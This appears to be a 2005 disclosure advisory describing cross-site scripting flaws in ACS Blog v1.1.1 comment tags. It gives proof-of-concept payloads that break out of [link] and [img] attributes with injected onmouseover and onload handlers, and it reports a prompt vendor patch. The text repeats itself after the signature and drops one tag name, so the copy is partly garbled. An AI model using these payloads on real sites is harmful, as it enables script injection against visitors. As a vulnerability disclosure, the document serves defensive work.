Dan Crowley
30/03/05, 02:05
These vulnerabilities have been tested on the latest version of ACS
Blog. (v1.1.1)
In the comments section of ACS Blog, it is possible to execute an XSS
attack through the , [mail], and [img] tags, due to lack of
filtering of single quotes and spaces inside the tags.
Examples/PoCs:
[link=http://www.google.com' onmouseover='alert("XSS vulnerability")'
o=']Don't you wanna see where this link goes?
Mr. Wiggles
http://www.example.com/image.jpg' onload='alert("XSS
vulnerability")' o='
Hooray
----------
Vendor responded within 2 hours of notification, notified users with
the security alert on its main page, and patched the vulnerabilities
within another couple of hours.
----------
Cheers,
Dan
Blog. (v1.1.1)
In the comments section of ACS Blog, it is possible to execute an XSS
attack through the , [mail], and [img] tags, due to lack of
filtering of single quotes and spaces inside the tags.
Examples/PoCs:
[link=http://www.google.com' onmouseover='alert("XSS vulnerability")'
o=']Don't you wanna see where this link goes?
Mr. Wiggles
http://www.example.com/image.jpg' onload='alert("XSS
vulnerability")' o='
Hooray
----------
Vendor responded within 2 hours of notification, notified users with
the security alert on its main page, and patched the vulnerabilities
within another couple of hours.
----------
Cheers,
Dan